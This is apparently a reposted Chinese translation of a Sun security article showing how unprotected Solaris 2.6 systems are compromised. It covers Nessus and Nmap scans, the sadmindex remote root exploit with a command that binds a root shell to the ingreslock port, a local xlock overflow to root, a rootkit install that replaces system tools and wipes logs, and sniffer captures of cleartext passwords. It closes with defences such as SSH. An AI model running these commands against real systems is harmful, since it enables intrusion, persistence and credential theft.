漏洞扫描工具可以对目标系统进行测试,看它是不是存在某个特定的漏洞可以用来***,或者是许多已知漏洞中的一个。大多数这种工具都可以免费得到,这里着重介绍目前最流行,也是发展最快的一个工具: Nessus.
Nessus的网站这样描述这个工具:
“Nessus”项目致力于向Internet社区提供一种免费但功能强大,迅速更新的远程安全检查工具。这种工具可以通过在远端操作就可以评估一个网络的安全性,看它是不是能够被轻易攻入,当然,也难免有人会怀着其他目的使用这个软件。
与其他的安全检查工具不同,Nessus从不做事先假定,举个例子,它不会假定web server是监听在80端口,所以即使你在1234端口启动apache,它也可以发现,Nessus也不根据软件的版本判断是否存在漏洞,它只是真正 的测试这个软件看它是不是有问题。
Nessus速度非常快,也很可靠,它是基于模块架构的,这样你如果需要的话可以很容易的改造它。
Nessus为系统管理员和***提供了同样的工具来检查一个系统,评价它是否安全。它既支持命令行方式,也支持图形界面,但一般用图形界面更方便。如果需要更多的信息,请访问Nessus网站。
Rootkits(隐身工具)
Rootkits是指由一些脚本和程序打包成的一种工具,这种工具能帮助***者消除自己曾经侵入这个系统,并曾经获取root权限的痕迹,它的主要工作如下所示:
修改log文件,清除***活动证据。
修改系统工具,使得管理员很难甚至无法发现***活动。
为下次***留下后门。
把当前的系统变成落脚点,进一步***其它系统。
Sniffers(抓包工具)
一般的网络软件仅仅接受专门发给自己的IP包,Sniffing使计算机能够截获局域网上所有的包,来获取一些不必要知道或者不应该知道的东西。要想使用sniffer,必须先把计算机设置到一种特定的模式,使得底层的网络软件把所有收到的IP包都转发到上层的应用程序。
Solaris自带一个snoop工具,尽管相对粗糙,但仍然能够清除的以文本方式显示收到的用户ID和口令。目前经常使用的许多网络软件都使用铭文传送用户名和口令的。比如Telnet,IMAP,POP3等。
***一旦进入系统,通常会安装一个抓包工具来寻找更多的用户名和口令,也会寻找网络结构方面的信息,以方便进一步的***。
操作步骤
本届以两个实例说明******一个没有安全保护的系统有多么轻而易举,我们的两个实例模拟以下两种情况的***:
从Internet 发起***
从网络内部发起***
在以上两种***情形中,***只要得到了root权限,就会想办法保留这种进攻途径,以便下一次进入系统,它也会建立更多的特权,以获取更多的资源。我们在这里把***用到的工具综合起来,来显示他们是怎样工作的。
从Internet发起***
这个实例中,我们用Nessus找到一个Solaris2.6系统,这个系统存在sadmind 的RPC漏洞而且没有打补丁,我们看看sadmind 进攻是如何攻破系统的。
首先,***用一个rootkit来获取并保护自己的root访问权限。在 sadmindex.c 程序的开头有这样一段关于用法的信息:
sadmindex - SPARC Solaris remote root exploit for /usr/sbin/
sadmind Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
Usage: % sadmindex -h hostname -c command -s sp [-o offset] [-a
alignment] [-p]
where hostname is the hostname of the machine running the
vulnerable system administration daemon, command is the command to
run as root on the vulnerable machine, sp is the %sp stack pointer
value, offset is the number of bytes to add to sp to calculate the
desired return address, and alignment is the number of bytes needed
to correctly align the contents of the exploit buffer.
Sadmindex的作者甚至给出了一个推荐的sp 堆栈指针值来使得***更加容易。
有时可能需要调整sp 参数,作者也给出了调整的方法,事实上也花不了许多时间。
我们从一个运行Solaris8的系统向目标机器发起***:
# ./sadminsparc -h nfs -c "echo ’ingreslock stream tcp nowait root
/bin/sh sh -i’ \
>;/tmp/.gotcha; /usr/sbin/inetd -s /tmp/.gotcha" -s 0xefff9596
运行的过程如下:
% sp 0xefff9596 offset 688 -->; return address 0xefff9844 [4]
% sp 0xefff9596 with frame length 4808 -->; %fp 0xefffa858
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected
作为系统管理员,如果你想在自己的系统上试一下,或者你想检查是否有******了你的系统,可以使用以下命令:
# ps -ef | grep inetd
root 5806 1 1 22:59:38 ? 0:00 /usr/sbin/inetd -s /tmp/.x
然后,执行以下命令来检查ingreslock进程是否生效:
# netstat -a | grep ingres
*.ingreslock *.* 0 0 0 0 LISTEN
***可以用以下命令建立Telnet连接,从而获得root权限:
# telnet nfs ingreslock
Trying 192.168.0.20...
Connected to nfs.
Escape character is ’^]’.
# hostname
nfs
从内部***
这是一个很常见的情形,某个公司职员可以访问系统,但没有root特权,如果系统不足够安全的话,就会给居心不良的职员以可乘之机。
雇员恶意***系统以获取更多权限的问题是确实存在的,但很多系统管理员或经理人员总是忽视这个问题,他们或者认为这样的事情不会发生,或者觉得应该充分相信雇员。这样就很容易引发严重的安全问题。
许多系统都会有各种各样的用户,他们的权限根据用户ID和所在的用户组确定,一般来说,这些用户没有root口令,也没有root权限。但当一个授权用户心存恶意的时候,当某个***者采用某种手段得到了一个有效的账户的时候,将会发生什么事情呢?
进入系统以后,***者大多会利用某些软件的缓冲区溢出问题进行***来得到root权限。例如,2001年8月10号,就有人发现xlock存在缓冲区溢出 问题。(xlock是X-windows用来锁屏的程序)这个漏洞很有价值,因为xlock是用 setuid root命令安装的。
在网上可以很容易地找到利用这个漏洞进行***的源代码,只需要131行,在我们的例子中,我们用gcc编译了这个程序,然后放在测试系统ganassi上面。下面是***的过程:
console login: noorder
Password:
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
ganassi% /usr/ucb/whoami
noorder
ganassi% ./sol_sparc_xlockex
shellcode address padding = 0
stack arguments len = 0x502(1282)
the padding zeros number = 2
Using RET address = 0xeffffb10
Using retloc = 0xefffe8c4
# /usr/ucb/whoami
root
现在我们已经得到root权限了,下面的***就很容易了,可以安装sniffer,也可以设置后门,运行rootkits,等等。
如何使用工具
这一节介绍前面提到的几个工具的用法,我们给出使用的例子和解释输出结果的技巧,把这些信息和前面的***案例结合起来,可以使进攻更犀利,更有效。
端口扫描工具用法:
我们用下面的例子解释Nmap的用法。从输出结果可以看到系统当前所运行的服务,Nmap辨别目标操作系统版本的能力非常有用,因为这样可以为其后的***节省很多时间。
根据Nmap的输出结果,这个系统是一个Solaris2.6或者Solaris7系统,大多数缺省的服务都在运行。
输出结果如下:
# /usr/local/nmap -O ganassi
Starting nmap V. 2.53 ([url]www.insecure.org/nmap/[/url])
Interesting ports on ganassi (10.8.10.231):
(The 1515 ports scanned but not shown below are in state: closed)
Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
19/tcp open chargen
21/tcp open ftp
23/tcp open telnet
25/tcp open smtp
37/tcp open time
79/tcp open finger
111/tcp open sunrpc
512/tcp open exec
513/tcp open login
514/tcp open shell
515/tcp open printer
540/tcp open uucp
1103/tcp open xaudio
4045/tcp open lockd
6112/tcp open dtspc
7100/tcp open font-service
32771/tcp open sometimes-rpc5
32772/tcp open sometimes-rpc7
32773/tcp open sometimes-rpc9
32774/tcp open sometimes-rpc11
32775/tcp open sometimes-rpc13
32776/tcp open sometimes-rpc15
32777/tcp open sometimes-rpc17
32778/tcp open sometimes-rpc19
Remote operating system guess: Solaris 2.6 - 2.7
Uptime 0.054 days (since Wed Sep 12 09:41:59 2001)
Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds
漏洞扫描工具
Nessus用法如下:
# nessus -T text localhost 1241 noorder targetfile outfile
nessus检察 targetfile中的主机,并将检查结果保存在 outfile
输出文件如下所示:
Nessus Scan Report
------------------
SUMMARY
- Number of hosts which were alive during the test : 1
- Number of security holes found : 2
- Number of security warnings found : 15
- Number of security notes found : 1
TESTED HOSTS
192.168.0.90 (Security holes found)
然后是检查的细节描述:
DETAILS
+ 192.168.0.90 :
. List of open ports :
o unknown (161/udp) (Security hole found)
o unknown (32779/udp) (Security warnings found)
o unknown (32775/tcp) (Security warnings found)
o unknown (32776/udp) (Security warnings found)
o unknown (32778/udp) (Security warnings found)
o unknown (32774/udp) (Security hole found)
o unknown (32777/udp) (Security warnings found)
o unknown (32780/udp) (Security warnings found)
o unknown (32775/udp) (Security warnings found)
o lockd (4045/udp) (Security warnings found)
o unknown (32781/udp) (Security hole found)
. Vulnerability found on port unknown (32774/udp) :
The sadmin RPC service is running.
There is a bug in Solaris versions of
this service that allow an intruder to
execute arbitrary commands on your system.
Solution : disable this service
Risk factor : High
利用这些输出信息,***可以按照我们上文描述的方法***系统。
另外,nessus还可以发现一种叫做“拒绝服务”式的漏洞:
DETAILS
. List of open ports :
o general/tcp (Security hole found)
. Vulnerability found on port general/tcp :
It was possible
to make the remote server crash
using the ’teardrop’ attack.
A cracker may use this attack to
shut down this server, thus
preventing your network from
working properly.
Solution : contact your operating
system vendor for a patch.
Risk factor : High
CVE : CAN-1999-0015
使用Rootkits
网络上有不少这种软件,我们使用针对Solaris2.6的一个工具包(sun2.rootkit)来演示。这个rootkit包含三个类型的程序:
网络抓包工具
log文件修改
Internet Relay Chat(IRC)proxy
这个工具包中有一个安装脚本:
ganassi# ./setup.sh
hax0r w1th gforce
Ok This thing is complete
cp: cannot access l0gin
cp: cannot create /usr/local/bin/find: No such file or directory
mv: cannot access /etc/.ts
mv: cannot access /etc/.tp
- WTMP:
/var/adm/wtmp is Thu Mar 26 13:21:36 1987
/usr/adm/wtmp cannot open
/etc/wtmp is Thu Mar 26 13:21:36 1987
/var/log/wtmp cannot open
WTMP = /var/adm/wtmp
No user re found in /var/adm/wtmp
[...]
./setup.sh: ./zap: not found
./secure.sh: rpc.ttdb=: not found
#: securing.
#: 1) changing modes on local files.
#: will add more local security later.
#: 2) remote crap like rpc.status , nlockmgr etc..
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
#: 3) killed statd , rpcbind , nlockmgr
#: 4) removing them so they ever start again!
5) secured.
193 ? 0:00 inetd
cp: cannot access /dev/.. /sun/bot2
kill these processes@!#!@#!
cp: cannot access lpq
./setup.sh: /dev/ttyt/idrun: cannot execute
Irc Proxy v2.6.4 GNU project (C) 1998-99
Coded by James Seter :bugs->; ([email]Pharos@refract.com[/email]) or IRC pharos on
efnet
--Using conf file ./sys222.conf
--Configuration:
Daemon port......:9879
Maxusers.........:0
Default conn port:6667
Pid File.........:./pid.sys222
Vhost Default....:-SYSTEM DEFAULT-
Process Id.......:759
Exit ./sys222{7} :Successfully went into the background.
这个脚本写的既不高明也不标准,但它确实生效了,最终替换了下列系统程序:
/bin/ls
/usr/bin/ls
/bin/ps
/bin/netstat
/usr/bin/netstat
/usr/sbin/rpcbind
现在***者取得了root权限而且这个系统已经变得:
系统管理员很难使用标准的Solaris命令发现***者的踪迹,因为这些命令已经被换成了特罗伊***。
***者很容易再次***系统,因为login和rpcbind两个程序的新版本将允许进攻者远程登录系统。
Rootkit还在俘虏主机上安装了抓包工具,包括:le,sniff,sniff-10mb,和sniff-100mb.
在我们的系统上只有sniff-100mb可以工作,因为其他几个工具固定死了网卡接口的名称。
Sniff-100mb缺省使用hme0网卡,当网络有活动的时候,程序清晰的打印出结果:
ganassi# ./sniff-100mb
Using logical device /dev/hme [/dev/hme]
Output to stdout.
Log started at =>; Thu Aug 26 15:31:10 [pid 856]
-- TCP/IP LOG -- TM: Thu Aug 26 15:31:19 --
PATH: 10.8.10.200(3439 =>; ganassi(telnet)
STAT: Thu Aug 26 15:31:48, 111 pkts, 128 bytes [DATA LIMIT]
DATA: (255)(253)^C(255)(251)^X(255)(251)^_(255)(251)
(255)(251)!(255)(251)"(255)(251)’(255)(253)^E(255)(250)^_
: P
: ^X(255)(240)(255)(252)#(255)(252)$(255)(250)^X
: DTTERM(255)(240)(255)(250)’
: (255)(240)(255)(253)^A(255)(252)^Anoorder
: t00lk1t
: ls
: who
: cd /var/tmp
: ls -al
--
输出中清楚地包含用户名和口令。
这个rootkit中处理log文件的程序叫做zap,它在却省的路径中寻找并修改下面几个文件:utmp,utmpx,wtmp,wtmpx和lastlog.
还有一个工具叫做bot,它可以维护一个专门的IRC通道,用来发送消息或者相应一些命令。
使用Sniffers
为了说明用抓包工具获取用户名和口令的用法,我们用snoop来做实验,搜集这些信息只需要几秒钟就可以了:
先是一个Telnet的例子:
# snoop -d qfe0 port telnet ganassi
ganassi ->; nomex-lab TELNET R port=32835
\377\373\1\377\375\1login:
nomex-lab ->; ganassi TELNET C port=32835 r
ganassi ->; nomex-lab TELNET R port=32835 r
nomex-lab ->; ganassi TELNET C port=32835 o
ganassi ->; nomex-lab TELNET R port=32835 o
nomex-lab ->; ganassi TELNET C port=32835
nomex-lab ->; ganassi TELNET C port=32835 o
ganassi ->; nomex-lab TELNET R port=32835 o
nomex-lab ->; ganassi TELNET C port=32835
nomex-lab ->; ganassi TELNET C port=32835 t
ganassi ->; nomex-lab TELNET R port=32835 t
nomex-lab ->; ganassi TELNET C port=32835
ganassi ->; nomex-lab TELNET R port=32835 Password:
nomex-lab ->; ganassi TELNET C port=32835
nomex-lab ->; ganassi TELNET C port=32835 t
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 0
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 0
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 l
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 k
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 1
ganassi ->; nomex-lab TELNET R port=32835
nomex-lab ->; ganassi TELNET C port=32835 t
nomex-lab ->; ganassi TELNET C port=32835
ganassi ->; nomex-lab TELNET R port=32835 Last login: Thu Mar
nomex-lab ->; ganassi TELNET C port=32835
ganassi ->; nomex-lab TELNET R port=32835 #
然后是一个IMAP的例子:
# snoop -d qfe0 port imap2 ganassi
jordan ->; ganassi IMAP C port=46600
ganassi ->; jordan IMAP R port=46600
jordan ->; ganassi IMAP C port=46600
ganassi ->; jordan IMAP R port=46600 * OK ganassi SIMS (tm) 2.0p12
IMAP
jordan ->; ganassi IMAP C port=46600
jordan ->; ganassi IMAP C port=46600 1 capability\r\n
ganassi ->; jordan IMAP R port=46600
ganassi ->; jordan IMAP R port=46600 * CAPABILITY IMAP4 STATUS SCAN
IMAP4
jordan ->; ganassi IMAP C port=46600
jordan ->; ganassi IMAP C port=46600 2 login "hacked" "t00lk1t”\r\n
ganassi ->; jordan IMAP R port=46600 2 OK LOGIN completed
使用snoop是最直接的办法,但如果它运行的时间很长,就会产生大量的数据,很容易引起怀疑,所以更好的办法是采用某种可以仅仅保存用户名和口令的工 具,sniffit使其中非常简单的一个,令一个复杂一些,但也更灵活,更强大的工具是dsniff.(它还可以***交换式网络)这两个工具都可以长时间 的运行来收集成百上千的用户名和口令。
交换式网络
说到网络抓包,有必要提一下网络交换机,与集线器hub一样,网络交换机把多个系统连接到一个网段中。主要的区别式交换机是基于端口工作的,这种方式下, 交换机的每个端口只能看到发给它的IP包,而不是网上所有的报都可以看到。这样就算一块网卡配成混合模式,它也不能受到发送到其他地方的包。
因此,许多人认为抓包工具没有用。但事实上即便是交换式网络中也需要小心抓包工具,原因有两点:1,一台机器上的抓包工具既可以收集发到本系统的包,也可 以收集从本机发出的包,这样就有更多的口令容易泄漏;2,ARP***可以对付网络交换机,是它把所有的包都通过一个固定的端口进行转发,这样sniff仍 然有用武之地。所以,网络交换机是预防sniff***的一种方法,但绝不是彻底的方法。
要想真正防止抓包工具,必须采用加密技术。例如,用SSH代替Telnet和FTP,用SSL代替普通的pop3收发邮件。这样才能真正有效地避免sniffing.
Terminal Server(终端控制器)
许多机构经常利用终端控制器管理一些服务器主机(这些主机没有显示器,键盘和鼠标,只能通过远程终端控制台管理)。尽管在数据中心这样做可以节省空间和资 源,非常必要,但也应该注意安全性的问题,比如,SUN cluster3.0附带的终端控制器通常是8口的Bay Annex Server。这种终端控制器同样是利用Telnet工作的。以下是snoop纪录的一次root登录中断服务器的过程:
# snoop -d qfe0 nts01
nts01 ->; nomex TELNET R port=34395 \nRotaries Defined:
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 \n\nEnter Annex p
nomex ->; nts01 TELNET C port=34395
nomex ->; nts01 TELNET C port=34395 3
nts01 ->; nomex TELNET R port=34395
nts01 ->; nomex TELNET R port=34395 Attached to port 3
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 ganassi console lo
nomex ->; nts01 TELNET C port=34395
nomex ->; nts01 TELNET C port=34395 r
nts01 ->; nomex TELNET R port=34395 r
nomex ->; nts01 TELNET C port=34395 o
nts01 ->; nomex TELNET R port=34395 o
nts01 ->; nomex TELNET R port=34395 o
nomex ->; nts01 TELNET C port=34395 o
nomex ->; nts01 TELNET C port=34395 t
nts01 ->; nomex TELNET R port=34395 t
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 Password:
nomex ->; nts01 TELNET C port=34395
nomex ->; nts01 TELNET C port=34395 t
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 0
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 0
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 l
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 k
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 1
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395 t
nts01 ->; nomex TELNET R port=34395
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 Mar 26 13:04:36 ga
nts01 ->; nomex TELNET R port=34395 Last login:
nomex ->; nts01 TELNET C port=34395
nts01 ->; nomex TELNET R port=34395 Thu Mar 26 13:03:06
nts01 ->; nomex TELNET R port=34395 SunOS 5.6 Gene
显然,终端服务器同样需要安全保护,可以采用两种方法:一是采用支持SSH的终端服务器,二是把终端服务器与本地子网隔离开来,通过一个支持SSH的网关登录终端服务器。
参考资料
1. Webster’s Third New International Dictionary, Merriam-Webster, Inc., Springfield,
MA, 1986, page 2442.
2. Common Vulnerability and Exposures (CVE) Web site:
[url]http://cve.mitre.org[/url]
3. NMap web site: [url]http://www.nmap.org[/url]
4. Nessus web site: [url]http://www.nessus.org[/url]
相关资源:
公共出版物:
Dasan, Vasanthan, Noordergraaf, Alex, and Ordica, Lou. The Solaris Fingerprint
Database—A Security Tool for Solaris Software and Files, Sun BluePrints OnLine, May
2001
Deeths, David and Brunette, Glenn. Using NTP to Control and Synchronize System
Clocks - Part II: Basic NTP Administration and Architecture, Sun BluePrints OnLine,
August 2001.
Noordergraaf, Alex. Building Secure N-Tier Environments, Sun BluePrints OnLine,
October 2000.
Noordergraaf, Alex. Solaris Operating Environment Minimization for Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, November
2000.
Noordergraaf, Alex and Brunette, Glenn. The Solaris Security Toolkit—Quick Start:
Updated for Version 0.3, Sun BluePrints OnLine, June 2001.
Noordergraaf, Alex and Watson, Keith. Solaris Operating Environment Security:
Updated for the Solaris 8 Operating Environment, Sun BluePrints OnLine, April 2001.
Prosise, Chris and Shah, Saumil Udayan. At the Root of Rootkits, CNET Online,
[url]http://builder.cnet.com/webbuilding/0-7532-8-4561014-1.html?tag=st.bl.7532.edt.7532-8-4561014[/url], January 25, 2001.
Reid, Jason M and Watson, Keith. Building and Deploying OpenSSH in the Solaris
Operating Environment, Sun BluePrints OnLine, July 2001.
Watson, Keith and Noordergraaf, Alex. Solaris Operating Environment Network
Settings for Security: Updated for the Solaris 8 Operating Environment, Sun BluePrints
OnLine, December 2000.
网址:
>; Sun BluePrints OnLine: [url]http://sun.com/blueprints[/url]
>; TripWire: [url]http://www.tripwire.com[/url]
>; Chkrootkit: [url]http://www.chkrootkit.org/[/url]
>; Nessus: [url]http://www.nessus.org[/url]
>; NMap: [url]http://www.nmap.org[/url]
>; SecurityFocus: [url]http://www.securityfocus.com[/url]
>; CERT: [url]http://www.cert.org[/url]
>; SANS Institute: [url]http://www.sans.org[/url]
>; SunSolve: [url]http://sunsolve.sun.com[/url]
本文转载于Chinunix
[url]http://bbs.chinaunix.net/viewthread.php?tid=403260[/url]
转载于:https://blog.51cto.com/lanlfeng/117853